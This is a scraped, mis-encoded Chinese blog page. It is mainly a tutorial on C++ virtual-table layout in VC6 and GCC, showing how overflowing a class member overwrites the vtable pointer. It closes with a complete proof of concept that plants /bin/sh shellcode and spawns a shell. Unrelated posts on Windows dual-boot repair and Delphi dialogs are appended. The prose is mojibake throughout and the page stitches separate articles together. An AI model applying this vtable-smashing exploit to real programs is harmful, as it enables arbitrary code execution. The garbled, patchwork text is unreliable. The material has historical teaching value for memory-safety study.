_BSS ENDS¿´µ½objAΪ64룬Àï±ß´æ·ÅÁËÄÄЩÄÚÈÝÄØ? ½Ó×Å¿´¿´¹¹Ô캯Êý:
_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() ¶¨ÒåÁËÒ»¸ö±äÁ¿ _this ?!
; File test.cpp
; Line 6
push ebp
mov ebp, esp
push ecx
mov DWORD PTR _this$[ebp], ecx ; ecx ¸³Öµ¸ø _this ?? ²»Ã÷°×??mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'; Ç°ÃæµÄ²¿·Ö¶¼ÊDZàÒëÆ÷¼ÓµÄ¶«¶«£¬ÎÒÃǵĸ³ÖµÔÚÕâÀï
mov ecx, DWORD PTR _this$[ebp]
mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;
; ¿´À´ _this+4¾ÍÊÇnum1µÄµØÖ·mov eax, DWORD PTR _this$[ebp]
mov esp, ebp
pop ebp
ret 0
??0ClassA@@QAE@XZ ENDPÄǸö_thisºÍmov DWORD PTR _this$[ebp], ecx ÈÃÈ˱ȽÏÓôÃÆÁ˰ɣ¬²»¼±¿´¿´ºÎ
´¦µ÷ÓõĹ¹Ô캯Êý:_$E9 PROC NEAR
; File test.cpp
; Line 10
push ebp
mov ebp, esp
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()
pop ebp
ret 0
_$E9 ENDP¿´£¬ecxÖ¸ÏòobjAµÄµØÖ·,ͨ¹ý¸³Öµ,ÄǸö_this¾ÍÊÇobjAµÄ¿ªÊ¼µØÖ·£¬ÆäʵCLASSÖÐ
µÄ·Ç¾²Ì¬·½·¨±àÒëÆ÷±àÒëʱ¶¼»á×Ô¶¯Ìí¼ÓÒ»¸öthis±äÁ¿£¬²¢ÇÒÔÚº¯Êý¿ªÊ¼´¦°Ñecx
¸³Öµ¸øËû,Ö¸Ïòµ÷Óø÷½·¨µÄ¶ÔÏóµÄµØÖ· ¡£ÄÇô¹¹Ô캯ÊýÀïµÄÕâÁ½ÐÐÓÖÊǸÉÊ²Ã´ÄØ?
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'ÎÒÃÇÒѾ֪µÀ_this±£´æµÄΪ¶ÔÏóµØÖ·: &objA¡£ ÄÇô eax = &objA
½ÓמÍÏ൱ÓÚ ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@À´¿´¿´ ??_7ClassA@@6B@ ÊÇÄĸöµÀÉÏ»ìµÄ:
CONST SEGMENT
??_7ClassA@@6B@
DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'
DD FLAT:?test2@ClassA@@UAEXXZ
CONST ENDS¿´À´ÕâÀï´æ·ÅµÄ¾ÍÊÇtest1(),test2()º¯ÊýµÄÈë¿ÚµØÖ· ! ÄÇôÕâ¸ö¸³Öµ:
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
¾ÍÊÇÔÚ¶ÔÏóµÄÆðʼµØÖ·ÌîÈëÕâôһ¸öµØÖ·ÁбíµÄµØÖ·¡£
ºÃÁË£¬ÖÁ´ËÎÒÃÇÒѾ¿´µ½ÁËobjAµÄ¹¹ÔìÁË:| µÍµØÖ· |
+--------+ ---> objAµÄÆðʼµØÖ· &objA
|pvftable|
+--------+-------------------------+
| num1 | num1±äÁ¿µÄ¿Õ¼ä |
+--------+ ---> objAµÄ½áÊøµØÖ· +--->+--------------+ µØÖ·±í vftable
| ¸ßµØÖ· | |test1()µÄµØÖ· |
+--------------+
|test2()µÄµØÖ· |
+--------------+À´¿´¿´mainº¯Êý:
_main PROC NEAR
; Line 13
push ebp
mov ebp, esp
; Line 14
mov DWORD PTR ?pobjA@@3PAVClassA@@A,
OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA; Line 15
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = thisÖ¸Õë
; Ö¸Ïòµ÷ÓÃÕߵĵØÖ·
call ?test1@ClassA@@UAEXXZ ; objA.test1()
; objA.test1()Ö±½Óµ÷Óã¬ÒѾȷ¶¨Á˵ØÖ·
; Line 16
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ?test2@ClassA@@UAEXXZ ; objA.test2()
; Line 17
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax] ; edx = vftable
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx] ;
; call vftable[0] ¼´ pobjA->test1() ¿´µØÖ·ÊǶ¯Ì¬²éÕÒµÄ ; )
; Line 18
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax]
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx+4] ; pobjA->test2()
; call vftable[1] ¶øvftable[1]Àï´æ·ÅµÄÊÇtest2()µÄÈë¿ÚµØÖ·
; Line 19
xor eax, eax
; Line 20
pop ebp
ret 0
_main ENDPºÃÁË£¬ÏàÐŵ½ÕâÀïÄãÒѾ¶Ô¶¯Ì¬Áª±àÓÐÁËÉî¿ÌÓ¡Ïó¡£
<¶þ> VCÖжÔÏóµÄ¿Õ¼ä×éÖ¯ºÍÒç³öÊÔÑéͨ¹ýÉÏÃæµÄ·ÖÎöÎÒÃÇ¿ÉÒÔ¶Ô¶ÔÏó¿Õ¼ä×éÖ¯¸ÅÀ¨ÈçÏÂ:
| µÍµØÖ· |
+----------+ ---> objAµÄÆðʼµØÖ· &objA
|pvftable |--------------------->+
+----------+ |
|¸÷³ÉÔ±±äÁ¿| |
+----------+ ---> objAµÄ½áÊøµØÖ· +---> +--------------+ µØÖ·±í vftable
| ¸ßµØÖ· | |Ð麯Êý1µÄµØÖ· |
+--------------+
|Ð麯Êý2µÄµØÖ· |
+--------------+
| . . . . . . |¿ÉÒÔ¿´³öÈç¹ûÎÒÃÇÄܸ²¸ÇpvtableÈ»ºó¹¹ÔìÒ»¸ö×Ô¼ºµÄvftable±íÄÇô¶¯Ì¬Áª±à¾ÍʹµÃ
ÎÒÃÇÄܸıä³ÌÐòÁ÷³Ì!ÏÖÔÚÀ´×÷Ò»¸öÒç³öÊÔÑé:
ÏÈд¸ö³ÌÐòÀ´¿´¿´
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;int main(void)
{
cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
return 0;
}ÓÃcl±àÒëÔËÐнá¹ûΪ:
0x00408998:0x00408990:0x00408991:0x00408994
±àÒëÆ÷°ÑbuffµÄµØÖ··Åµ½ºóÃæÁË!
°Ñ³ÌÐò¸ÄÒ»¸Ä,¶¨Òå±äÁ¿Ê±»»³É:
ClassEx obj1,obj2,* pobj;
int buff[1];
½á¹û»¹ÊÇÒ»Ñù!! ²»»áÊÇvc¾ÍÊÇ·À×ÅÕâÒ»ÊÖ°É!
¿´À´Ï븲¸Ç²»ÈÝÒ×ѽ ; )
Ö»ÄÜͨ¹ýobj1 Òç³ö¸²¸Çobj2ÁË//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
cout << "Why a u here ?!" << endl;
};ClassEx obj1,obj2,* pobj;
int main(void)
{pobj=&obj2;
obj2.test();int vtab[1] = { (int) entry };//¹¹Ôìvtab£¬
//entryµÄÈë¿ÚµØÖ·
obj1.buff[1] = (int)vtab; //obj1.buff[1]¾ÍÊÇ obj2µÄpvftableÓò
//ÕâÀïÐÞ¸ÄÁ˺¯ÊýÖ¸ÕëÁбíµÄµØÖ·µ½vtab
pobj->test();
return 0;
}±àÒë cl ex_vc.cpp
ÔËÐнá¹û:
ClassEx::test()
Why a u here ?!²âÊÔ»·¾³: VC6
¿´ÎÒÃÇÐÞ¸ÄÁ˳ÌÐòÖ´ÐÐÁ÷³Ì ^_^ƽʱÎÒÃDZà³Ìʱ¿ÉÄÜÓÃvirtaul²»¶à£¬µ«Èç¹ûÎÒÃÇʹÓÃBC/VCµÈ£¬ÇÒʹÓÃÁ˳§ÉÌÌṩµÄ
¿â£¬ÆäʵÎÒÃÇÒѾ´óÁ¿Ê¹ÓÃÁËÐ麯Êý ,ÒÔºóд³ÌÐò¿ÉҪСÐÄÁË£¬Ò»¸ö²»ÁôÉñµÄ±äÁ¿
¸³Öµ¿ÉÄÜ»áºó»¼ÎÞÇî¡£ //¿ªÊ¼×ÁÄ¥ºÃ¶àϵͳ´øµÄ³ÌÐòÒ²ÊÇvcдµÄ£¬Àï±ß»á²»»á ....<Èý> GCCÖжÔÏóµÄ¿Õ¼ä×éÖ¯ºÍÒç³öÊÔÑé
¸Õ²ÅÎÒÃÇÒѾ·ÖÎöÍêvcϵÄÐí¶àϸ½ÚÁË£¬ÄÇôÎÒÃǽÓÏÂÀ´¿´¿´gccÀïÓÐûÓÐʲô²»
Ò»Ñù!·ÖÎö·½·¨Ò»Ñù£¬¾ÍÊÇд¸ötest.cppÓÃgcc -S test.cpp À´±àÒëµÃµ½»ã±àÎļþ
test.s È»ºó·ÖÎötest.sÎÒÃǾÍÄܵõ½Ðí¶àϸ½ÚÉϵĶ«Î÷¡£Í¨¹ý·ÖÎöÎÒÃÇ¿ÉÒÔ¿´µ½:
gccÖжÔÏóµØÖ·¿Õ¼ä½á¹¹ÈçÏÂ:
| µÍµØÖ· |
+---------------+ ¶ÔÏóµÄ¿ªÊ¼µØÖ·
| |
| ³ÉÔ±±äÁ¿¿Õ¼ä |
| |
+---------------+
| pvftable |----------->+------------------+ vftable
+---------------+ | 0 |
| ¸ßµØÖ· | +------------------+
| XXXXXXXX |
+------------------+
| 0 |
+----------------- +
| Ð麯Êý1Èë¿ÚµØÖ· |
+------------------+
| 0 |
+----------------- +
| Ð麯Êý2Èë¿ÚµØÖ· |
+------------------+
| . . . . . . |
¹þ¹þ£¬¿ÉÒÔ¿´µ½gccÏÂÓиö·Ç³£´óµÄÓÅÊÆ£¬¾ÍÊdzÉÔ±±äÁ¿ÔÚpvftable
Ç°Ãæ£¬ÒªÊÇÒç³ö³ÉÔ±±äÁ¿¸³Öµ¾ÍÄܸ²¸Çpvftable£¬±ÈvcÏ·½±ã¶àÁË!
À´Ð´¸öÒç³ö²âÊÔ³ÌÐò://test.cpp
#include<iostream.h>
class ClassTest
{
public:
long buff[1]; //´óСΪ1
virtual void test(void)
{
cout << "ClassTest test()" << endl;
}
};void entry(void)
{
cout << "Why are u here ?!" << endl;
}int main(void)
{
ClassTest a,*p =&a;
long addr[] = {0,0,0,(long)entry}; //¹¹½¨µÄÐ麯Êý±í
//test() -> entry()a.buff[1] = ( long ) addr;// Òç³ö£¬²Ù×÷ÁËÐ麯ÊýÁбíÖ¸Õë
a.test(); //¾²Ì¬Áª±àµÄ£¬²»»áÓÐÊÂ
p->test(); //¶¯Ì¬Áª±àµÄ£¬µ½ÎÒÃǵĺ¯Êý±íÈ¥ÕÒµØÖ·£¬
// ½á¹û¾Í±ä³ÉÁ˵÷Óú¯Êý entry()}
±àÒë: gcc test.cpp -lstdc++
Ö´Ðнá¹û:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!
²âÊÔ³ÌÐò˵Ã÷:¾ßÌåµÄ¾ÍÊÇgcc -S test.cppÉú³É test.s ºóÀï±ßÓÐÕâôһ¶Î:
.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
.p2align 2
.type _vt$9ClassTest,@object
.size _vt$9ClassTest,24
_vt$9ClassTest:
.value 0
.value 0
.long __tf9ClassTest
.value 0
.value 0
.long test__9ClassTest ----------+
.zero 8 |
.comm __ti9ClassTest,8,4 |
|
|
test()µÄµØÖ· <----+
Õâ¾ÍÊÇÆäÐ麯ÊýÁбíÀïµÄÄÚÈÝÁË¡£test()µØÖ·ÔÚµÚ3¸ö(long)Ð͵ØÖ·¿Õ¼ä
ËùÒÔÎÒÃǹ¹Ôìaddr[]ʱ:
long addr[] = {0,0,0,(long)entry};
¾Í¸²¸ÇÁËtest()º¯ÊýµÄµØÖ· Ϊ entry()µÄµØÖ·
p->test()
ʱ¾ÍÅܵ½ÎÒÃǹ¹½¨µÄµØÖ·±íÀïÈ¡ÁËentryµÄµØÖ·È¥ÔËÐÐÁË
²âÊÔ»·¾³ FreeBSD 4.4
gcc 2.95.3À´Ò»¸öÕæÊµÒ»µãµÄ²âÊÔ:
ͨ¹ýÒç³ö¸²¸Çpvftable£¬Ê±ÆÚÖ¸ÏòÒ»¸öÎÒÃÇ×Ô¼º¹¹ÔìµÄ
vftable,²¢ÇÒÈÃvftableµÄÐ麯ÊýµØÖ·Ö¸ÏòÎÒÃǵÄÒ»¶Îshellcode
´Ó¶øµÃµ½Ò»¸öshell¡£#include<iostream.h>
#include<stdio.h>
class ClassBase //¶¨ÒåÒ»¸ö»ù´¡Àà
{
public:
char buff[128];
void setBuffer(char * s)
{
strcpy(buff,s);
};
virtual void printBuffer(void){}; //Ð麯Êý
};class ClassA :public ClassBase
{
public:
void printBuffer(void)
{
cout << "Name :" << buff << endl;
};
};class ClassB : public ClassBase
{
public:
void printBuffer(void)
{
cout << "The text : " << buff << endl;
};
};char buffer[512],*pc;
long * pl = (long *) buffer;
long addr = 0xbfbffabc; // ÔÚÎҵĻúÆ÷ÉϾÍÊÇ &b ^_*
char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";
int i;int main(void)
{
ClassA a;
ClassB b;
ClassBase * classBuff[2] = { &a,&b };a.setBuffer("Tom");
b.setBuffer("Hello ! This is world of c++ .");for(i=0;i<2;i++) //C++ÖеĹßÓÃÊÖ·¨£¬
//Ò»¸ö»ù´¡ÀàµÄÖ¸ÕëÖ¸ÏòÉϲãÀà¶ÔÏóʱµ÷
//ÓõÄΪ¸ß²ãÀàµÄÐ麯Êý
classBuff->printBuffer(); // ÕâÀïÊÇÕý³£Ó÷¨cout << &a << " : " << &b << endl; // &b¾ÍÊÇÉÏÃæaddrµÄÖµ£¬
//Èç¹ûÄãµÄ»úÆ÷ÉÏÁ½¸öÖµ²»Í¬¾Í¸ÄÒ»¸ÄaddrÖµ°É!
//¹¹ÔìÒ»¸öÌØÊâµÄbuff´ô»á¸øb.setBuffer
// ÔÚ¿ªÊ¼´¦¹¹ÔìÒ»¸övftable
pl[0]=0xAAAAAAAA; //Ìî³ä1
pl[1]=0xAAAAAAAA; //Ìî³ä2
pl[2]=0xAAAAAAAA; //Ìî³ä3
pl[3]=addr+16; //Ð麯ÊýprintBufferÈë¿ÚµØÖ·
// µÄλÖÃÖ¸Ïòshell´úÂë´¦ÁË
pc = buffer+16;
strcpy(pc,shellcode);
pc+=strlen(shellcode);for(;pc - buffer < 128 ; *pc++='A'); //Ìî³ä
pl=(long *) pc;
*pl= addr; //¸²¸ÇpvftableʹÆäÖ¸ÏòÎÒÃǹ¹ÔìµÄÁбíb.setBuffer(buffer); //Òç³öÁ衃 .
// ÔÙÀ´Ò»´Î
for(i=0;i<2;i++)
classBuff->printBuffer(); // classBuffer[1].printBuffer
// ʱһ¸öshell¾Í³öÀ´ÁËreturn 0;
}
bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$ <------ ºÇºÇ£¬³É¹¦ÁË˵Ã÷:
addr = &b Ò²¾ÍÊÇ &b.buff[0]
b.setBuffer(buffer)
¾ÍÊÇÈà b.buffÒç³ö£¬¸²¸Ç128+4+1¸öµØÖ·¡£
´ËʱÄÚ´æÖеĹ¹ÔìÈçÏÂ:&b.buff[0] Ò²ÊÇ &b
^
|
|
[Ìî³ä1|Ìî³ä2|Ìî³ä3|addr+16|shellcode|Ìî³ä|addr | \0]
____ ^ ___
| | |
| | |
| +---+ | |
| | |
+---------------> 128 <--------------+ |
|
´Ë´¦¼´pvftableÏî ,±»Òç³ö¸²¸ÇΪ addr <---+ÏÖÔÚb.buff[0]µÄ¿ªÊ¼´¦¾Í¹¹½¨ÁËÒ»¸öÎÒÃÇ×Ô¼ºµÄÐé
º¯Êý±í£¬Ð麯ÊýµÄÈë¿ÚµØÖ·ÎªshellcodeµÄµØÖ· !
±¾ÎÄÖ»ÊÇÒ»¸öÒýµ¼ÐÔÎÄ×Ö£¬»¹ÓÐÐí¶àû
ÓÐÌáµ½µÄϸ½Ú£¬ÐèÒª×Ô¼ºÈ¥·ÖÎö¡£
Ë×»°Ëµ×Ô¼º¶¯ÊÖ·áÒÂ×ãʳ *_&<ËÄ> ²Î¿¼
Phrack56# << SMASHING C++ VPTRS >>
-
2000XP˫ϵͳÆô¶¯ÎÊÌâ
2008-03-03 11:24:08
2000XP˫ϵͳÆô¶¯ÎÊÌâ
ÏÈ×°ºÃÁËWindowsXP£¬È»ºóÔÙ°²×°Windows 2000¡£¿ª»úºó·¢ÏÖWindows XPµÄ¹ö¶¯ÌõÏûʧºó£¬µçÄÔ¼´ºÚÆÁ£¬ÎÞ·¨½øÈëµÇ¼»Ãæ¡£
¡¡¡¡Æäʵ£¬Õâ¸öÎÊÌâÊÇÒòΪµ±°²×°ºÃWindows 2000ºó£¬Ä³Ð©ÏµÍ³Îļþ´Ó¸ß°æ±¾±ä»ØµÍ°æ±¾£¬Òò´Ëµ¼ÖÂWindows XPÎÞ·¨Ê¶±ð¡£
½â¾öÕâ¸öÎÊÌâºÜ¼òµ¥£º´ÓWindows XP°²×°¹âÅÌÖн«I386Ŀ¼ÖеÄNTLDR¡¢DOSNET.INF¸´ÖƵ½CÅ̸ùĿ¼ÏÂÌæ»»ÏÖÓÐÎļþ¼´¿É¡£
¡¡¡¡Ìáʾ£º°²×°¶à²Ù×÷ϵͳʱ£¬×ñÑWindows 98¡úWindows 2000¡úWindows XP¡úWindows 2003µÄ˳Ðò£¬¾Í²»»á³öÏÖϵͳ¼ä»¥Ïà¡°¸ÉÈÅ¡±µÄÎÊÌâ¡£
-
µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨Î壩
2007-05-28 16:24:46
1.4.3.1 µ÷Óñê×¼¶Ô»°¿ò¡¡
Äú¿ÉÒÔ·¢ÏÖ£¬³ýÁËFont,Find,Replace¶Ô»°¿òÖ®Í⣬ÆäÓà±ê×¼¶Ô»°¿òµÄEventsÒ³¶¼Êǿհ׵ġ£ÒòΪËüÃDZ¾ÉíÊDz»¿ÉÊӵĶԻ°¿òÐÎʽ£¬ËùÒÔ²»ÄÜÏìÓ¦±ê×¼µÄÊó±ê¼üÅ̲Ù×÷£¬Ö»ÄÜÔÚ³ÌÐòÖе÷ÓÃËüÃÇ¡£ÔÚ±¾ÕµÚÒ»½ÚµÄDemo³ÌÐòÖУ¬ÎÒÃÇÒѾ¶ÔÓÃColor¶Ô»°¿òÓÐÁËÁ˽⣬ÔÚ³ÌÐòµÄÊʵ±Î»ÖüÓÈë¶Ô»°¿òËùÊôµÄExecute·½·¨£¬¿ÉÒÔÖ´Ðбê×¼¶Ô»°¿ò¡£
ÔÚ±àÖÆÓ¦ÓóÌÐòʱ£¬Äú¿ÉÒÔÏÈÉè¼ÆºÃÖ÷²Ëµ¥¡£ÔÚÐèҪʹÓñê×¼¶Ô»°¿òµÄ²Ëµ¥ÏîµÄʼþ´¦Àí¹ý³ÌÖУ¬µ÷Óñê×¼¶Ô»°¿òµÄExecuteµÈ·½·¨£¬ÒÔÂú×ãÉè¼ÆÐèÇ󣬼´ÏìÓ¦²Ëµ¥ÃüÁ³ö±ê×¼¶Ô»°¿ò¡£¡¡
1.4.3.2 OpenDialogºÍSaveDialog²¿¼þ¡¡
OpenDialog(ÎļþµÄ´ò¿ª)ºÍSaveDialog(±£´æ¶Ô»°¿ò)²¿¼þ´¦ÀíÎļþµÄ´ò¿ªÓë´æ´¢£¬ËüÃÇÓµÓÐÍêÈ«ÏàͬµÄÊôÐÔÓò¡£DefaultExtÊôÐÔ±íʾȱʡÀ©Õ¹Ãû¡£µ±Óû§Ã»ÓÐÊäÈëÎļþµÄºó׺ʱ£¬¿ÉÒÔΪÓû§Îļþ×Ô¶¯¼ÓÀ©Õ¹Ãû¡£FileNameÊôÐÔÖ¸¶¨³öÏÖÔÚFileNameÕýÎÄ¿òÖеÄȱʡÎļþÃû¡£FilterÊôÐÔÌṩÁËÎļþ¹ýÂËÆ÷¡£FileEditStyle¾ö¶¨ÔÚÊäÈëÎļþÃûʱÓÃEdit»¹ÊÇCombo- Box£»ÉèÖÃΪfsComboBoxʱ£¬ÔÊÐíʹÓÃÀúÊ·ÁбíHistoryListÊôÐÔ£¬ÕâÔÚÓ¦ÓóÌÐòÐèÒª¾³£Ñ¡ÔñÎļþʱ£¬¿ÉÒÔ½ÚÔ¼´óÁ¿µÄʱ¼ä¡£HistoryListÊôÐÔ±£´æÓÐÔÚFile NameÏÂÀʽ±à¼¿òÖÐÏÔʾµÄÎļþÃû£¬Ê¹ÓÃ[TStrings]µÄÊ¡ÂÔ°´Å¥¿ÉÒÔ±à¼ÀúÊ·ÁÐ±í¡£ÄúÒ²¿ÉÒÔ±à³ÌʵÏÖ½«HistoryListÊôÐÔÉèΪÒÔǰÓÃOpenDialog´ò¿ªµÄÎļþÃûÀúÊ·ÁÐ±í¡£ÏÂÁгÌÐò¶Î¿ÉÒÔʵÏÖ×Ô¶¯ÀúÊ·ÎļþÃû¼ÓÔØ£º¡¡
if OpenDialog1.Execute then
OpenDialog1.HistoryList.Insert(0,OpenDialog1.FileName);¡¡
1.4.3.3 ColorDialogºÍFontDialog¡¡
ÑÕÉ«¶Ô»°¿òColorDialogÎÒÃÇÔÚǰÎĵÄÀý³ÌÖÐÒѾÓùý£¬Æä¸üÏêϸµÄ¹¦ÄÜÈçOptionsµÄÉ趨Çë²éÔÄÔÚÏß°ïÖú¡£
×ÖÌå¶Ô»°¿òFont¿ÉÒÔ°ïÖúÓû§»ñÈ¡¸÷ÖÖ·½Ê½µÄ×ÖÌ塣ʹÓÃOnApplyʼþ£¬¿ÉÒÔʹµÃFont¶Ô»°¿òÖаüº¬Ò»¸öApply°´Å¥£¬°´¶¯Ëü£¬¶Ô»°¿òÖÐÉ趨µÄ×ÖÌå»áÁ¢¼´Ó¦Óõ½Ö¸¶¨µÄ¶ÔÏóÖУ¬¶ø¶Ô»°¿òÈÔÈ»ÊÇ´ò¿ªµÄ£¬ÕâÑù¸ü±ãÓÚ¹Û²ìÐ޸ĵĽá¹û¡£
ÒÔϵÄÀý³ÌÔÚ´°ÌåÖÐÏÈ·ÅÖÃÒ»¸ö°´Å¥Button1£¬µ÷ÓÃ×ÖÌå¶Ô»°¿òÀ´¸Ä±ä°´Å¥ÉϵÄCaptionÊôÐÔÏÔʾµÄ×ÖÌ壺¡¡
Procedure TForm1.Button1Click(Sender:TObject);
begin
FontDialog1.Execute;
end;¡¡
Procedure TForm1.FontDlgApply(Sender:Tobject);
begin
Button1.Font:= FontDialog1.Font;
end;¡¡
1.4.3.4 PrintDialogºÍPrintSetupDiaog¡¡
´òÓ¡¶Ô»°¿òPrintDialogºÍ´òÓ¡ÉèÖöԻ°¿òPrintSetupDialog¿ÉÒÔÏÔʾ±ê×¼´òÓ¡¡¢´òÓ¡ÉèÖöԻ°¿ò£¬Ö§³Ö´òÓ¡ÎļþºÍ´òÓ¡ÉèÖù¦ÄÜ£¬ÉèÖÃËüµÄOptionsÊôÐÔ¿ÉÒԹ涨¶Ô»°¿òµÄ±íÏÖÐÎʽ¡¡
1.4.3.5 FindDialogºÍReplaceDialog¡¡
FindDialogºÍReplaceDialogÌṩÁ˲éÕÒ¡¢Ìæ»»Á½¸ö¶Ô»°¿ò²¿¼þ£¬¶ÔÓÚѰÕÒºÍÌæ»»Îı¾ÊǼ«ÆäÓÐÓõġ£ÔÚFindDialogºÍReplaceDialogÖж¼ÓÐOnFindʼþ£¬µ±Óû§µ¥»÷ѰÕÒ¶Ô»°¿òÖеÄFind Next°´Å¥Ê±½«´¥·¢Õâһʼþ¡£FindTextÊôÐÔÖб£´æÁËÓû§ÔÚFind What±à¼¿òÖÐÊäÈëµÄÎı¾¡£ÔÚReplaceDialogÖл¹ÓÐOnReplaceʼþ£¬µ±Óû§µ¥»÷Ìæ»»¶Ô»°¿òÖеÄReplaceºÍReplace All°´Å¥Ê±£¬½«´¥·¢OnReplaceʼþ¡£FindTextºÍReplaceTextÊôÐԷֱ𱣴æÁËÓû§ÔÚFind WhatºÍReplace With±à¼¿òÖÐÊäÈëµÄÎı¾¡£¡¡
1.5 ʹÓÃDelphiµÄ¹¤³Ì¹ÜÀí¡¢Éè¼Æ¹¤¾ß¡¡
Delphi 2.0ÊÇÍ걸µÄ¹¤³ÌÉè¼ÆÏµÍ³£¬³ýÌṩÁË´óÁ¿µÄ¿ÉÊÓ»¯±à³Ì²¿¼þºÍ¼òµ¥·½±ãµÄÉè¼Æ·½·¨Í⣬»¹±¸Óй¦ÄÜÇ¿´óµÄ¹¤³Ì¹ÜÀí¡¢´°¿ÚÉè¼Æ¹¤¾ß¡£¡¡
1.5.1 ´´½¨¶à´°Ì幤³ÌÏîÄ¿¡¡
¾ø´ó¶àÊýµÄÓ¦ÓóÌÐò¶¼Óõ½²»Ö»Ò»¸ö´°¿Ú£¬DelphiÔÊÐíÓû§´´½¨¶àÎĵµ½çÃæ(MDI)Ó¦ÓóÌÐò¡£Ó¦ÓÃ×Ô¶¯´´½¨´°Ìå¡¢´°ÌåÑù°å¡¢¶Ô»°¿òר¼Ò¡¢Ó¦ÓÃר¼ÒµÈ£¬¿ÉÒÔʹµÃ´´½¨Ó¦ÓóÌÐò¸üΪ·½±ã¿ì½Ý£¬¶øÇÒ¿ÉÖØ¸´ÀûÓ㬴ó´óµØ½µµÍÁ˹¤×÷Á¿¡£¡¡
1.5.1.1 ´´½¨Ò»¸öº¬ÓÐAbout¿òµÄÀý³Ì¡¡
×÷ΪÀý×Ó£¬ÎÒÃÇÏÈ´´½¨Ò»¸öº¬Ö÷´°ÌåºÍ¼òµ¥µÄAbout¿òµÄÓ¦ÓóÌÐò£º
ÔÚDelphiÖд´½¨Ò»¸öй¤³Ì£¬²¢Îª¿Õ´°¿ÚÔö¼ÓÒ»¸öButton²¿¼þ¡£ÎÒÃǰÑËü×÷ΪÖ÷´°Ì壬ĿµÄÊǵ±°´¶¯°´Å¥²¿¼þʱ£¬µ÷³öAbout´°¿Ú¡£ÏÂÃæÎÒÃÇÖ±½Ó½øÐÐAbout´°¿ÚµÄ´´ÖÆ¡£
Ñ¡ÓÃÖ÷²Ëµ¥µÄFile|NewÏÔÚNewÒ³ÖУ¬Ñ¡ÓÃFormÑù°å£¬Delphi»á×Ô¶¯´´½¨Ò»¸ö¿Õ´°ÌåForm2¡£Äú¿ÉÒÔÔÚÆäÉϽøÐÐAbout¿òµÄÉè¼Æ£¬ÀýÈç¼ÓÈë±êÇ©ÒÔÏÔʾ¸÷ÖÖÐÅÏ¢¡¢¼ÓÈëͼƬ°ïÖú˵Ã÷µÈ¡£½«Form2µÄBorderStyleÊôÐÔÉèÖÃΪbsDialog£¬Ôò´°¿Ú³ÉΪÔËÐÐʱ²»Äܸıä´óСµÄ¶Ô»°¿ò¡£
ÏÂÃæ±à³ÌʵÏÖÖ÷´°Ìå¶ÔAbout¿òµÄÏÔʾ¿ØÖÆ¡£ºÜ¿ÉÄÜÔÚÉè¼ÆÊ±£¬Á½¸ö´°Ìå³öÏÖÖØµþ£¬Form1±»AboutÕÚס¡£ÓÃShift+F12²úÉúView Form¶Ô»°¿ò£¬¿ÉÒÔÑ¡Ôñ´°¿ÚµÄÃû×Ö£¬µ÷³öËùÐèµÄ´°ÌåForm1£¬Ë«»÷ÆäÉϵİ´Å¥²¿¼þ£¬ÔÚʼþ´¦Àí¹ý³Ì¼ÓÈëÒÔϵijÌÐò£º¡¡
procedure TForm1.Button1Click(Sender: TObject);
begin
Form2.Show;
end;¡¡
ÓÉÓÚForm1´°Ìåµ÷ÓÃAbout´°Ì壬ËùÒÔ±ØÐëÔÚForm1µÄ¿âµ¥Ôª³ÌÐòÖжÔÒýÓÃAbout½øÐÐ˵Ã÷¡£ÔÚUnit1µÄUsesºóÃæ¼ÓÈëAboutµÄ¿âµ¥ÔªÃûUnit2¡£ÔËÐгÌÐò£¬ÔÚÖ÷´°ÌåÉϰ´¶¯°´Å¥£¬¿ÉÒÔ³öÏÖAbout¿ò¡£ÔÚ¿òÍâµ¥»÷Êó±ê£¬»á»Øµ½Ö÷´°ÌåÖС£
ÔÚAbout´°ÌåÖмÓÈëÒ»¸ö°´Å¥£¬²¢½«°´Å¥µÄModalResultÊôÐÔÉèÖÃΪmrOK£¬Í¬Ê±½«°´Å¥µÄ±êÇ©µÄCaption¸ÄΪOK¡£ÕâÑùÒ»¸öÓÐģʽµÄAbout¿òÒѾ½¨³ÉÁË¡£½«´°ÌåForm1ÖÐButton1µÄOnClick´¦Àí¹ý³ÌµÄ´úÂë¸Ä±äÈçÏ£º¡¡
Form2.ShowModal; ¡¡
